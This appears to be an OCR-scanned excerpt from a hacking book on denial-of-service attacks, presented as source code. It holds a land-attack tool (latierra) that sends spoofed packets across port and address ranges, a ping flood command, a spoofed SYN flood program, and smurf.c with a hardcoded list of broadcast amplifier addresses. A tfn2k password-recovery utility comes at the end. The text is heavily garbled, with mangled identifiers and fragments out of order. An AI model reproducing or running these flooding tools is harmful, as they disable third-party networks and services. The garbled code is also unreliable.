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#include <stdio.h>
#include <getopt.h>
#include <string.h>
#include <netdb.h>

#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
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#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/ip tcp.h>
#include <netinet/protocols.h>

#define DEFAULT FREQUENCY

#define TRUE

#define FALSE

#define FOR_EVER

#define LIST FILE

#define ZONE FILE

#define MAXLINELENGTH 512
#define DEFAULT SEQ 0xF1C
#define DEFAULT TTL OxFF

#define DEFAULT TCPFLAGS (TH_SYN | TH PUSH)
#define DEFAULT WINSIZE OxFDES8

struct pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short length;
struct tcphdr tcpheader;

};

typedef struct latierra data
{
char dest ip[256];
int tcp_flags;
int window_size;
int ip protocol;
int sequence_ number;
int ttl;
int supress_output;
int message_type;
} LATIERRA DATA;

alternatives (void) ;

get ip(int use file, FILE *fp, char *buff);
land (LATIERRA DATA *1d, int port number) ;
nslookup help(void) ;

print_arguments (void) ;

protocol list(void);

/********/
/* main */
/********/
int main(int argc, char **argv)
{
FILE *fp;
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LATIERRA DATA 1d;

int frequency = DEFAULT FREQUENCY, x;

int beginning port=1l, octet=1l, scan_ loop=0, loop val=0,
use_file=FALSE;

int ending port = 0, loop = TRUE, i = 0, increment addr =

FALSE;
char got_ip = FALSE, got beg port = FALSE;
char class_c_addr[21], filename[256], buff[512],
valid tcp flags[16];

printf ("\nlatierra v1.0b by MondoMan (elmondo@usa.net),
KeG\n") ;
printf ("Enhanced version of land.c originally developed by m31lt,
FLC\n") ;

strcpy(valid tcp flags, "fsrpau");
1d.tcp_flags = 0;

ld.window_size = DEFAULT WINSIZE;
1ld.ip protocol = IP_TCP;
1d.sequence number = DEFAULT SEQ;
1d.ttl = DEFAULT TTL;
1ld.message_type = 0;

if(arge > 1 && (!'strcmp(argv([l], "-a")))
alternatives() ;

if(arge > 1 && (!'strcmp(argv([l], "-n")))
nslookup help() ;

if(arge > 1 && (!'strcmp(argv([1l], "-p")))
protocol 1list();

if (argc == Il ( (argec >= 2) && (!'strcmp(argv[l], "-h"))))
print_arguments() ;

while((i = getopt(argc, argv, "i:b:e:s:l:o:t:w:p:g:v:m:")) !=

{
switch (i)
{
case 't':
for (x=0;x<strlen (optargqg) ; x++)
switch (optarg[x])
{

case 'f':
ld.tcp_flags |=

break;
case 's':
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TH_SYN;

/* reset */

TH_RST;

/* push */

TH_PUSH;

/* ack */

TH_ACK;

/* urgent */

TH_URG;

Author: Mr.3lerOn

break;
'q'.

1d.sequence number

break;
'w' .

ld.window size

break;
'ml -

1ld.message_type

break;
'vl -

1d.ttl

break;
'P' -

1d.ip protocol

break;
'o'.

1d.supress_output

break;
'i':
if (strlen(optarg) > 1)

strcpy (

else
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1d.tcp_flags |

break;
lrl:

1d.tcp_flags

break;
'P':

1d.tcp_flags

break;
lal:

1d.tcp_flags

break;
lul:

1d.tcp_flags

break;
default:

printf ("\nERROR:
Invalid option specified [ %c ] for tcp flags.\n\n", optarg[x]);

return(-12) ;
break;

atoi (optarg) ;

atoi (optarg) ;

atoi (optargqg) ;

atoi (optarg) ;

atoi (optarg) ;

TRUE ;

ld.dest _ip, optarg);
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{
printf ("ERROR: Must specify wvalid IP

or hostname.\n");
return(-6) ;
}
got_ip = TRUE;
break;
's':
frequency = atoi (optarg);
break;
'1':
loop = atoi (optarg) ;
break;
'b':
beginning port = atoi(optargqg);
got _beg port = TRUE;
break;
'e':
ending port = atoi(optarg);
break;

}

if ('1d.tcp_flags)
ld.tcp_flags = DEFAULT TCPFLAGS;

if ('got _beg port)
{
fprintf (stderr, "\nMust specify beginning port number.
Use -h for help with arguments.\n\n");
return (-7) ;

}

if (ending port == 0)
ending port = beginning port;

printf ("\nSettings:\n\n") ;
printf (" (-1) Dest. IP Addr ")

if (ld.dest _ip[strlen(ld.dest ip) -1] == '-")
{
ld.dest_ip[strlen(ld.dest ip)-1] = 0xO0;
strcpy(class ¢ _addr, ld.dest _ip);
strcat(ld.dest _ip, "1");
printf (" %s (Class C range specified).\n", ld.dest ip);
increment_addr = TRUE;
octet = 1;
}

if (strlen(ld.dest_ip) > 5)
{
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if (strncmp (ld.dest ip, "zone=",
{
strcpy (filename, &ld.dest ip[5]);
printf ("%$s (using DNS zone file)\n",
filename) ;
use_file = ZONE_FILE;
}
else if(strncmp(ld.dest_ip, "list=", 5) == 0)
{
strcpy (filename, &ld.dest ip[5]);
printf ("%$s (using ASCII list)\n",
filename) ;
use_file = LIST FILE;
}

printf ("%s\n", ld.dest ip);
}

{

printf ("Destination specifier (%s) length must be
> 7.\n", ld.dest_ip);

return (-9) ;

}

printf(" (-b) Beginning Port #: %d\n", beginning port
printf(" (-e) Ending Port # : %d\n", ending port );

printf (" (-s) Seconds to Pause: %d\n", frequency ) ;

printf (" (-1) Loop : 3d %s\n", 1loop, (loop ==
FOR_EVER) ? " (forever)" : " " );

printf(" (-w) Window size : %d\n", ld.window_size

printf (" (-q) Sequence Number : %X
(%d)\n",ld.sequence_number, 1d.sequence number ) ;

printf(" (-v) Time-to-Live : %d\n", 1d.ttl) ;

printf(" (-p) IP Protocol # : %d\n", 1d.ip protocol

printf (" (-t) TCP flags ")

strcpy (buff, "");

if( 1d.tcp_flags & TH FIN)
strcat (buff, "fin ") ;
if( 1d.tcp_flags & TH_SYN)
strcat (buff, "syn ");
if (1d.tcp_flags & TH RST)
strcat (buff, "rst ");
if (1d.tcp_flags & TH_PUSH)
strcat (buff, "push ");
if (1d.tcp_flags & TH_ACK)
strcat (buff, "ack ");
if(1d.tcp_flags & TH_URG)
strcat (buff, "urg ");

printf ("$s\n\n", buff);
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if (ending port < beginning port)

{
printf ("\nERROR: Ending port # must be greater than

beginning port #\n\n");
return (-8) ;

}
scan_loop = loop val = loop;

if (use_file)
{
if (access(filename, 0))

{

printf ("\nERROR: The file you specified (%s)
cannot be found.\n\n", filename) ;

return (-9) ;

}

if( (fp = fopen(filename, "rt")) == NULL)

{
printf ("ERROR: Unable to open %s.\n", filename);

return (-10) ;

}

if(!'get ip(use file, fp, buff))

{
printf ("Unable to get any IP address from file

return(-11) ;

}

strcpy(ld.dest ip, buff);
}

(loop == FOR EVER) ? 1 : loop-- > 0)
{
for (i=beginning port; i <= ending port; i++)
{
if(land(&ld, 1i)) /* go for it BaBy! */
break;

if (frequency) /* make sure freq > 0 */
{
if (!'1d.supress_output)
printf ("-> paused %d seconds.\n",
frequency) ;
sleep (frequency) ;
}
}

if( ('use file) && (loop && increment addr) )
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{
char temp addr[21];

if (++octet > 254)
for reset */

{
if (loop_val != FOR_EVER)
make sure not to distrute forever! */

{
if (++scan_loop > loop val)

check if scanned x times */
break;
else
loop = loop val;
/* restore original value */

}
octet = 1;

reset */

}

sprintf (temp addr, "%s%d", class_c_addr, octet);
strcpy(ld.dest ip, temp_addr);

if (!'1d.supress_output)
printf ("** incrementing to next IP address:

$s\n", ld.dest_ip);

if (scan_loop > loop_val)
break; /* break while loop */

}

else if(use file)

{
if(!get _ip(use file, fp, buff))
break;

loop++;

strcpy(ld.dest_ip, buff);
}

} /* end while */

printf ("\nDone.\n\n") ;
} /* end main */

int get_ip(int use_file, FILE *fp, char *buff)

{
if (use_file == LIST FILE)
return(get ip from list(fp, buff));

return(get ip from zone (fp, buff));
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int get ip from list(FILE *fp, char *buff)
{

int ret val;

while (1)

{
ret val = (int)fgets(buff, MAXLINELENGTH, fp);

if((ret_val == EOF) || (ret_val == (int)NULL))
return O;

if( strlen(buff) >= 7)
if((buff[0] !'= ';') && (buff[0] '= "'["))

{
if ( (buff[strlen(buff)-1] == '\r') ||

(buff[strlen (buff)-1] == '\n') )
buff[strlen(buff)-1] = 0x0;

return 1;
}
}

return O;

}

int get ip from zone(FILE *fp, char *buff)
{

int ret_val, i;
char *p, delim[8];

strcpy (delim, " \t");

while (1)

{
ret val = (int)fgets(buff, MAXLINELENGTH, fp);

if((ret_val == EOF) || (ret _wval == (int)NULL))
return O;

if( strlen(buff) >= 7)
if ((buff[0] '= ';') && (buff[0] !'= '"[') &&
(strncmp (buff, "1ls -d", 5) != 0))
{
if( (p = strtok( buff, delim)) == NULL)

continue;

if( (p = strtok(NULL, delim)) == NULL)
continue;

if (strcmp(p, "A")) /* be sure second
column is an DNS A record */
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continue;

if( (p = strtok(NULL, delim)) == NULL)
continue;

strcpy (buff, p);

/* verify that we have a valid IP address
to work with */

if (inet_addr(p) == -1)
continue;

/* strip off training line characters */

if ( (buff[strlen(buff)-1] == '\r') ||

(buff[strlen (buff)-1] == '\n') )
buff[strlen(buff)-1] = 0x0;

return 1;
}
}

return O;

}

/************/

/* checksum */
/************/

u_short checksum(u_short * data,u_short length)

{

register long value;
u_short i;

for(i = 0; i< (length >> 1); i++)
value += datal[i];

if ((length & 1)==1)
value += (data[i] << 8);

value = (value & OxXFFFF) + (value >> 16);

return (~value) ;

}

/********/
/* land */
/********/
int land (LATIERRA DATA *1d, int port number)
{ struct sockaddr in sin;
int sock;

All right reserved for Iran Hack security TM Website: Www.Iranhack.org




Denial of Service Attacks Author: Mr.3lerOn Publisher: Iran Hack Security TM

char buffer[40];

struct iphdr * ipheader = (struct iphdr *) buffer;

struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof (struct
iphdr)) ;

struct pseudohdr pseudoheader;

bzero (&sin,sizeof (struct sockaddr in));
sin.sin_family=AF_INET;

if((sin.sin_addr.s_addr=inet addr(ld->dest ip))==-1)
{
printf ("ERROR: unknown host %s\n", ld->dest ip);
return(-1) ;

}

if ((sin.sin_port=htons (port_ number))==0)
{
printf ("ERROR: unknown port %$s\n",port number) ;
return(-2) ;

}

if ((sock=socket (AF_INET,SOCK RAW,255))==-1)

{
printf ("ERROR: couldn't allocate raw socket\n");
return(-3) ;

}

bzero (&buffer,sizeof (struct iphdr)+sizeof (struct tcphdr));

ipheader->version=4;

ipheader->ihl=sizeof (struct iphdr)/4;

ipheader->tot_len=htons (sizeof (struct iphdr)+sizeof (struct
tcphdr)) ;

ipheader->id=htons (1d->sequence number) ;

ipheader->ttl = 1d->ttl;

ipheader->protocol = 1ld->ip protocol;

ipheader->saddr=sin.sin_addr.s_addr;

ipheader->daddr=sin.sin_addr.s_addr;

tcpheader->th_sport sin.sin port;
tcpheader->th dport = sin.sin port;
tcpheader->th seq = htonl (ld->sequence number) ;
tcpheader->th flags = 1ld->tcp flags;
tcpheader->th off = sizeof(struct tcphdr)/4;
tcpheader->th win = htons(ld->window_size) ;

bzero (&pseudoheader,12+sizeof (struct tcphdr));

pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol = 1d->ip protocol;
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pseudoheader.length = htons(sizeof (struct tcphdr)) ;
bcopy ( (char *) tcpheader, (char ¥*)
&pseudoheader. tcpheader,sizeof (struct tcphdr));
tcpheader->th sum = checksum((u_short ¥*)
&pseudoheader,12+sizeof (struct tcphdr)) ;

if( sendto(sock, buffer,
sizeof (struct
iphdr) +sizeof (struct tcphdr),
1ld->message_type,
(struct sockaddr *)
&sin,
sizeof (struct
sockaddr in) )==-1)
{
printf ("ERROR: can't send packet. (sendto failed)\n");
return (-4) ;

}

if (!1d->supress_output)
printf ("-> packet successfully sent to: %s:%d\n", 1d-
>dest ip, port_ number) ;

close (sock) ;

return (0) ;

}
/* End of land */

void alternatives|()
{
printf ("\nAlternative command line arguments for option -

i\n\n") ;

printf (" You can create two types of files that latierra can
use to get\n");

printf (" a list of IP addresses, a simple ASCII file with
each IP address\n");

printf (" appearing on each line or better yet, a DNS zone
file created by\n");

printf (" nslookup. If you are unfamiliar with nslookup,
specify a '-n' on the\n");

printf (" command line of latierra.\n\n");

printf (" Basically, latierra will walk down the list and
send the spoofed packet\n") ;

printf (" to each IP address. Once the list is complete, and
loop > 1, the list\n");

printf (" is repeated. To specify that the '-i' option
should use a zone file,\n");

printf (" specify \"zone=filename.txt\" instead of an IP
address. To specify a \n");
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printf (" simple ASCII list of IP addresses, use
\"list=filename.txt\". Lines\n");

printf (" beginning with ';' or '[' are ignored. Lines that
are not an 'A' \n");

printf (" record (second column)in a zone file will
ignored.\n\n") ;

exit(-1);
}

void nslookup help ()

{
printf ("\nNSLOOKUP help\n\n") ;

printf ("To see who is the DNS server for a particular domain,
issue the following:\n");

printf (" > set type=ns\n");

printf (" > xyz.com\n\n") ;

printf (" You will see a list of the name server(s) if
completed successfully\n\n");

printf ("To get a list of all the DNS entries for a particular
domain, run nslookup\n");

printf ("and issue the following commands:\n");

printf (" > server 1.1.1.1\n");

printf (" > 1ls -d xyz.com > filename.txt\n\n");

printf ("Line 1 sets the server that nslookup will use to
resolve a name.\n");

printf ("Line 2 requires all the information about xyz.com be
written to filename.txt\n\n");

exit(-1);
}

void protocol 1list()

{

printf ("\nProtocol List:\n\n");

printf ("Verified:\n") ;

printf ("1-ICMP 2-IGMP 3-GGP 5-ST 6-TCP 7-UCL 8-EGP
9-IGP 10—BBN_RCC_MON\n");

printf ("11-NVP1l1 13-ARGUS 14-EMCON 15-XNET 16-CHAOS
17-UDP 18-MUX\n") ;

printf("19—DCN_MEAS 20-HMP 21-PRM 22—XNS_IDP 23-TRUNK1
24-TRUNK2\n") ;

printf ("25-LEAF1 26-LEAF2 27-RDP 28-IRTP 29—ISQ_TP4
30-NETBLT\n") ;

printf("31—MFE_NSP 32—MERIT_INP 33-SEP 34-3PC 62-CFTP
64-SAT EXPAK\n") ;

printf ("66-RVD 67-IPPC 69—SAT_MON 70-VIsSA
71-IPCV\n") ;
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printf ("76-BR_SAT MON 77-SUN ND 78-WB MON  79-WB_EXPAK
80-ISO IP\n");

printf ("81-VMTP 82—SECURE_VMTP 83-VINES 84-TTP 85-
NSFNET_IGP 86-DGP\n") ;

printf ("87-TCF 88-IGRP 89-0OSPFIGP 90-
SPRITE_RPG 91-LARP\n\n") ;

printf ("Supported:\n") ;

printf (" 6-TCP 17-UDP (future: PPTP, SKIP) \n\n");

exit(-1);
}

void print arguments ()
{

printf ("Arguments: \n");

printf (" * -i dest_ip = destination ip address such as
1.1.1.1\n");

printf (" If last octet is '-', then the address
will increment\n") ;

printf (" from 1 to 254 (Class C) on the next
loop\n") ;

printf (" and loop must be > 1 or %d
(forever) .\n", FOR_EVER) ;

printf (" Alternatives = zone=filename. txt or
list=filename.txt (ASCII)\n");

printf (" For list of alternative options, use -
a instead of -h.\n");

printf (" * -b port# = beginning port number
(required) .\n") ;

printf (" -e port# = ending port number (optional)\n");

printf (" -t = tcp flag options
(f=£fin,~s=syn, r=reset, ~p=push, a=ack,u=urgent)\n") ;

printf (" -v = time_to_live value, default=%d\n",
DEFAULT TTL) ;

printf (" -p protocol = ~6=tcp, 17=udp, use -p option
for complete list\n");

printf (" -w window_size = value from 0 to ?,
default=%d\n", DEFAULT WINSIZE) ;

printf (" -q tcp_sequence number, default=%d\n",
DEFAULT SEQ) ;

printf (" -m message type (~0=none,l=Out-Of-
Band, 4=Msg_DontRoute\n") ;

printf (" -s seconds = delay between port numbers,
default=%d\n", DEFAULT FREQUENCY) ;

printf (" -o 1 = supress additional output to screen,
default=0\n" );

printf (" -1 loop = times to loop through ports/scan,
default=%d, %d=forever\n", 1, FOR _EVER) ;

printf (" * = required ~ = default parameter
values\n\n") ;

exit(-1);
}
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/* End of file */
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C:\>ping -n 4294967295 -1 65500 -i 254 127.0.0.1
Pinging 127.0.0.1 with 65500 bytes of data
Reply from 127. bytes= es=65500 time=4ms TTL=128
Reply from 127. bytes 65500 time=3ms TTL=128
Reply from 127. bytes=65500 time=3ms TTL=128
Reply from 127. bytes=65500 time=4ms TTL=128
Reply from 127. bytes=65500 time=3ms TTL=128
Reply from 127. bytes=65500 time=4ms TTL=128
Reply from 127. bytes=65500 time=3ms TTL=128
Reply from 127. bytes=65500 time=3ms TTL=128
Reply from 127. bytes=65500 time=3ms TTL=128
Reply from 127. bytes=65500 time=3ms TTL=128
Reply from 127. bytes=65500 time=5ms TTL=128
from 127. bytes=65500 time=4ms TTL=128
from 127. bytes=65500 time=3ms TTL=128
from 127. bytes=65500 time=3ms TTL=128
from 127. bytes=65500 time=3ms TTL=128
from 127. bytes=65500 time=3ms TTL=128
from 127. bytes=65500 time=3ms TTL=128
from 127. bytes=65500 time=4ms TTL=128
from 127. bytes=65500 time=4ms TTL=128
from 127. bytes=65500 time=4ms TTL=128
from 127. bytes=65500 time=3ms TTL=128
from 127. bytes=65500 time=3ms TTL=128
from 127. bytes=65500 time=3ms TTL=128
from 127. bytes=65500 time=3ms TTL=128
from 127. bytes=65500 time=4ms TTL=128
from 127. bytes=65500 time=3ms TTL=128
from 127. bytes=65500 time=3ms TTL=128
from 127. bytes=65500 time=3ms TTL=128
from 127. bytes=65500 time=3ms TTL=128
from 127. bytes=65500 time=5ms TTL=128
from 127. bytes=65500 time=3ms TTL=128
from 127. bytes=65500 time=3ms TTL=128
from 127. bytes=65500 time=5ms TTL=128
from 127. bytes=65500 time=3ms TTL=128
from 127. bytes=65500 time=3ms TTL=128
from 127. bytes=65500 time=3ms TTL=128
from 127. bytes=65500 time=3ms TTL=128
from 127. bytes=65500 time=3ms TTL=128
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[eN-RoNeNolcNolcNolc Nolc Nollc Nollc Nolc oo Nolc oo Ne o Ne o Ne o Ne o N oo e Rol e !
FHRPRHRHRHERHERHERRHRERERERREERERBEREBEREBRBERRRRRR

All right reserved for Iran Hack security TM Website: Www.Iranhack.org



Denial of Service Attacks Author: Mr.3lerOn Publisher: Iran Hack Security TM

Reply from 127.0.0.
Reply from 127.0.0.
Reply from 127.0.0.
Reply from 127.0.0.

1: bytes=65500 time=3ms TTL=128
1: bytes=65500 time=4ms TTL=128
1: bytes=65500 time=3ms TTL=128
1: bytes=65500 time=3ms TTL=128

Ping statistics for 127.0.0.1:

Packets: Sent = 54, Received = 54, Lost = 0 (0%loss)
Approximate round trip times in mill-seconds:
Minimum = 3ms, Maximum = 5ms, Average = 3ms
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/* SYN Flood attack source code ~~~~> By Iran Hack Security TM
Website: iranhack.org/acc Coded by Mr.3lerOn ;) */
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <linux/ip.h>

#include <linux/tcp.h>

void hose_trusted(unsigned int, unsigned int, unsigned short, int);

unsigned short in cksum(unsigned short *, int);

unsigned int host2ip(char *);
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main (int argc, char **argv)
{
unsigned int srchost;
unsigned int dsthost;
unsigned short port=80;
unsigned int number=1000;
if (argc < 3)
{
printf ("%$s srchost dsthost port num\n", argv[0]);
exit(0) ;
}
srchost host2ip (argv[1]) ;
dsthost host2ip (argv[2]) ;
if (argc 4) port = atoi(argv[3]);
if (argc 5) number = atoi(argv[4]):;
if (port 0) port = 80;
if (number == 0) number = 1000;

printf ("synflooding %s from %s port %u %u times\n", argv[2],
argv[l], port, number)

hose_trusted(srchost, dsthost, port, number);

void hose_ trusted(unsigned int source_ addr, unsigned int dest addr,

unsigned short dest port, int numsyns)

{

struct send tcp

{
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struct iphdr ip;
struct tcphdr tcp;

} send tcp;

struct pseudo_header

{
unsigned int source_address;
unsigned int dest address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;

} pseudo_header;

int i;

int tcp_socket;

struct sockaddr in sin;

int sinlen;

/* form ip packet */

send tcp.ip.ihl = 5;

send tcp.ip.version

send tcp.ip.tos = 0;

send tcp.ip.tot len htons (40) ;
send tcp.ip.id = getpid();

send tcp.ip.frag off = 0;

send tcp.ip.ttl = 255;

send_ tcp.ip.protocol = IPPROTO_TCP;
send tcp.ip.check
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send_tcp.ip.saddr source_addr;

send_tcp.ip.daddr dest_addr;

/* form tcp packet */
send_tcp.tcp.source = getpid();

send tcp.tcp.dest = htons(dest port);
send_tcp.tcp.seq = getpid();

send tcp.tcp.ack _seq = 0;

send tcp.tcp.resl =
send_tcp.tcp.doff

send tcp. .fin

send tcp. .syn

send_tcp. .rst

send tcp. .psh

send tcp. .ack

send tcp. .urg

send tcp. .res2 = 0;

send tcp. .window = htons (512) ;
send tcp. .check = 0;

send tcp. .urg ptr = 0;

/* setup the sin struct */
sin.sin_family = AF_INET;
sin.sin port = send_ tcp.tcp.source;

sin.sin addr.s_addr = send tcp.ip.daddr;

/* (try to) open the socket */
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tcp_socket = socket (AF_INET, SOCK _RAW, IPPROTO_RAW) ;
if (tcp_socket < 0)
{

perror ("socket") ;

exit (1) ;

for (i=0;i < numsyns;i++)
{
/* set fields that need to be changed */
send tcp.tcp.source++;
send tcp.ip.id++;
send tcp.tcp.seqg++;
send tcp.tcp.check = 0;

send tcp.ip.check = 0;

/* calculate the ip checksum */

send tcp.ip.check = in cksum((unsigned short *)é&send tcp.ip,

/* set the pseudo header fields */
pseudo_header.source_address = send tcp.ip.saddr;
pseudo_header.dest _address = send tcp.ip.daddr;
pseudo_header.placeholder = 0;
pseudo_header.protocol = IPPROTO_TCP;
pseudo_header.tcp length = htons(20);

bcopy ((char *) &send tcp.tcp, (char *)é&pseudo header.tcp, 20);

All right reserved for Iran Hack security TM Website: Www.Iranhack.org




Denial of Service Attacks Author: Mr.3lerOn Publisher: Iran Hack Security TM

send tcp.tcp.check = in cksum((unsigned short *)é&pseudo header,
32);

sinlen = sizeof (sin);

sendto (tcp_socket, &send tcp, 40, 0, (struct sockaddr *)é&sin,
sinlen) ;

}

close (tcp_socket) ;

unsigned short in cksum(unsigned short *ptr, int nbytes)

{

register long /* assumes long == 32
bits */

u_short oddbyte;

register u_short answer; /* assumes u_short ==

16 bits */

/*
* Our algorithm is simple, using a 32-bit accumulator (sum),

* we add sequential 16-bit words to it, and at the end, fold

* all the carry bits from the top 16 bits into the lower 16

*/

sum = 0;
while (nbytes > 1) {
sum += *ptr++;

nbytes -= 2;
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/* mop up an odd byte, if necessary */
if (nbytes == 1) {

oddbyte = 0; /* make sure top half is zero

*((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte

sum += oddbyte;

/*
* Add back carry outs from top 16 bits to low 16 bits.

*/

(sum >> 16) + (sum & Oxffff); /* add high-16 to low-

sum += (sum >> 16); /* add carry */

answer = ~sum; /* ones-complement, then truncate to

*/

return (answer) ;

unsigned int host2ip (char *hostname)

{

static struct in_addr i;
struct hostent *h;

i.s_addr = inet_addr (hostname) ;
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if(i.s_addr == -1)
{
h = gethostbyname (hostname) ;
if (h == NULL)
{
fprintf (stderr, "cant find %s!\n", hostname) ;
exit (0) ;

}

bcopy (h->h_addr, (char *)é&i.s addr, h->h length);

}

return i.s_addr;
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/* Smurf attack source code £0r Linux ;)

By Iran Hack Security TM - iranhack.org/acc
All right reserved. Coded by Mr.3lerOn */
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>

#include <netinet/ip.h>

#include <netinet/ip icmp.h>

#include <netdb.h>

void banner (void) ;

void usage (char *);
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void smurf (int, struct sockaddr in, u_long, int);

void ctrlc(int) ;

unsigned short in chksum(u_short *, int);

void main (int argc, char *argv[])
{

struct sockaddr in sin;

struct hostent *he;

int i, sock, delay, num, pktsize, bcast = 1, cycle = 10;

/* add your own broadcast ips, just make to end with NULL */

char *bcastaddr[] = {
"199.171.190.0", "165.154.1.255", "205.139.4.255",
"198.3.101.255", "204.71.177.0", "192.41.177.255",
"206.13.28.255", "144.228.20.255", "206.137.184.255",
"198.32.186.255", "130.63.236.255", "208.202.14.255",
"208.131.162.255", "199.171.6.255", "207.124.104.255",
"205.180.58.255", "198.3.98.0", "131.104.96.255",
"143.43.32.0", "131.215.48.0", "204.117.214.0",
"143.43.32.255",
"130.235.20.255", "206.79.254.255", "199.222.42.255",
"204.71.242.255", "204.162.80.0", "128.194.103.255",
"207.221.53.255", "207.126.113.255", "198.53.145.255",
"209.25.21.255", "194.51.83.255", "207.51.48.255",
"129.130.12.255", "192.231.221.255", "168.17.197.255",
"198.242.55.255", "130.160.224.255", "128.83.40.255",

"131.215.48.255", "169.130.10.255", "207.20.7.255",

All right reserved for Iran Hack security TM Website: Www.Iranhack.org




Denial of Service Attacks Author: Mr.3lerOn Publisher: Iran Hack Security TM
"163.179.1.0", "129.16.1.0", "128.122.27.255",

"132.236.230.255", "198.32.146.255", "192.41.177.0",

NULL

banner () ;

signal (SIGINT, ctrlc);

if (argc < 6) usage(argv[O0])

if ((he = gethostbyname (argv[1l])) == NULL) {
perror ("resolving source host");
exit(-1);

}

memcpy ( (caddr_t) &sin.sin_addr, he->h_addr, he->h length);

sin.sin_family = AF_INET;

sin.sin port = htons(0);

num = atoi(argv[3]):
delay = atoi(argv[4]):;

pktsize = atoi(argv[5]);

if ((sock = socket (AF_INET, SOCK RAW, IPPROTO RAW)) < 0) ({

perror ("getting socket");

exit(-1);
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setsockopt (sock, SOL SOCKET, SO BROADCAST, (char *)é&bcast,

sizeof (bcast)) ;

= 25 outgoing packets)\n",

printf ("Flooding %s (.

argv[l]);

for (i = 0; i < num || 'num; i++) {
if ('(i % 25)) { printf("[1;34m."); f£flush(stdout); }

== 0) {

if (atoi(argv[2])
smurf (sock, sin, inet_ addr (bcastaddr[cycle]), pktsize);

cycle++;

if (bcastaddr[cycle] == NULL) cycle = 0;

} else
smurf (sock, sin, inet addr (argv[2]), pktsize);

usleep (delay) ;

}
puts ("\n[0;37m\n") ;

/*

* my banner,

thanks to nyt for the ansi codes. *smootch*

*/

void banner (void)

{
puts ("");
puts ("smurf.c by TFreak");
puts ("[0;37m") ;
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void usage (char *progqg)
{
fprintf (stderr, "usage: %s <source> <bcast addr> "

"<num packets> <packet delay> <packet size>\n",
prog) ;

fprintf (stderr, "bcast address of 0 uses hardcoded "
"addresses, num packets of 0 constant flood\n");
puts ("[0;37m") ;

exit(-1);

/*

* the routine that builds/sends the packet -- the guts of the
program

*/
void smurf (int sock, struct sockaddr in sin, u_long dest, int psize)
{
struct iphdr *ip;
struct icmphdr *icmp;

char *packet;

packet = malloc(sizeof (struct iphdr) + sizeof (struct icmphdr) +
psize) ;
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ip = (struct iphdr ¥*)packet;

icmp = (struct icmphdr *) (packet + sizeof (struct iphdr));

memset (packet, 0, sizeof(struct iphdr) + sizeof (struct icmphdr) +
psize) ;

ip->tot_len htons (sizeof (struct iphdr) + sizeof (struct icmphdr) +
psize) ;

ip->ihl = 5;

ip->version 4;

ip->ttl 255;

ip->tos 0;

ip->frag off 0;

ip->protocol IPPROTO_ICMP;
ip->saddr = sin.sin_addr.s_addr;

ip->daddr dest;

ip->check in _chksum((u_short *)ip, sizeof(struct iphdr));

icmp->type 8;
icmp->code 0;

icmp->checksum = in chksum((u_short *)icmp, sizeof (struct icmphdr)
+ psize);

sendto (sock, packet, sizeof(struct iphdr) + sizeof (struct icmphdr)
+ psize,

0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) ;

free (packet) ; /* free willy! */
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/*

* if SIGINT received, end nicely.

* int ignored isnt used of course, thanks to robocod for pointing
this out

*/
void ctrlc (int ignored)
{
puts ("\nDone!\n[0;37m") ;

exit(1l);

/*

* calculate the checksum (stolen from ping.c with a small,
unimportant mod

*/

unsigned short in chksum (u_short *addr, int len)

{

register int nleft = len;
register int sum = 0;

u_short answer = 0;

while (nleft > 1) {
sum += *addr++;

nleft -= 2;
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if (nleft == 1) {

* (u_char *) (&answer) = *(u_char *)addr;

sum += answer;

sum = (sum >> 16) + (sum + Oxffff);
sum += (sum >> 16) ;
answer = ~sum;

return (answer) ;
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Chapter 02
DDoS Attacks
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#include <stdio.h>
#include <stdlib.h>

/*
* Main program. ...
*/
int main(int argc, char *argv][])
{
FILE *ftd;
int i, search = 0, search2, found = 0, rew = 32;
unsigned char recover|[32];
unsigned char password[32];
unsigned char offset;
char close[]="(QCRRQRRCCECEERLRLRRCEEEARRRRLLEAQRQRLRRLLQREQRRRREREA";
char check[sizeof (close)];

/* Say hello... */

printf ("tfn2kpass - Recover the password from tfn2k's 'td' or
"tfn'\n") ;

printf ("Comments/bugs: Simple Nomad
<thegnome@razor.bindview.com>\n") ;

printf ("http://razor.bindview.com/\n\n") ;

if (argc!=2)
{

fprintf (stderr,"USAGE: tfn2kpass <td filename>\n\n") ;
fprintf (stderr, "EXAMPLES:\n") ;

fprintf (stderr," tfn2kpass renamed td\n");

exit(-1);

}

ftd=fopen (argv[l],"rb") ;

if (ftd == NULL)

{
fprintf (stderr,"Unable to open file %s.\n",argv[1l]);
exit(-1);

}

/* first we search the file for the first marker that we
are close to the password -- the 40 @'s should be right
after the password */

while (!feof (£td))

{
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fseek (ftd,search,SEEK SET) ;
fread (&check,40,1,£ftd) ;
if (!strncmp(check,close,40))
{

found = 1;

break;
}
search++;

}

if (found)
{
found = 0; /* reset our flag for next 'find' */
search--;
search2 = search;
/* Now we'll search backward looking for the first non-zero
value, which is the offset used to mask the password.
The amount of zeroes depends upon platform as well as the
daemon type (td or tfn), so we move back one at a time.
Also it allows us to examine daemons compiled on a freebsd
box from our linux box, for example. */
while (search2!=0)
{

fseek (ftd,search2,SEEK SET) ;

fread(&offset,1,1,£td) ;

/* Sol bins have the needed "offset" right before the string
of @'s as well as at the end of the password field, so we
need to skip that byte. Also, if we do not shorten the
amount of bytes for a Sol bin by one, we end up with one
extra char at the beginning of the password. Go figure. */

if((offset) && (search2 == search))

{

rew--;

}

else if (offset)

{

found = 1;
break;
}
search2--;
}
if (found) /* if we found the offset, grab and print the password
*/
{

fseek (ftd,search2-rew,SEEK SET) ;

fread (&recover,32,1,£ftd) ;

fclose (ftd) ;

for (i=0;i<32;i++) password[i]=recover[i] - offset;
printf ("The password is - ") ;

for (i=0;i<32;i++)

{
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if (isprint(password[i]))
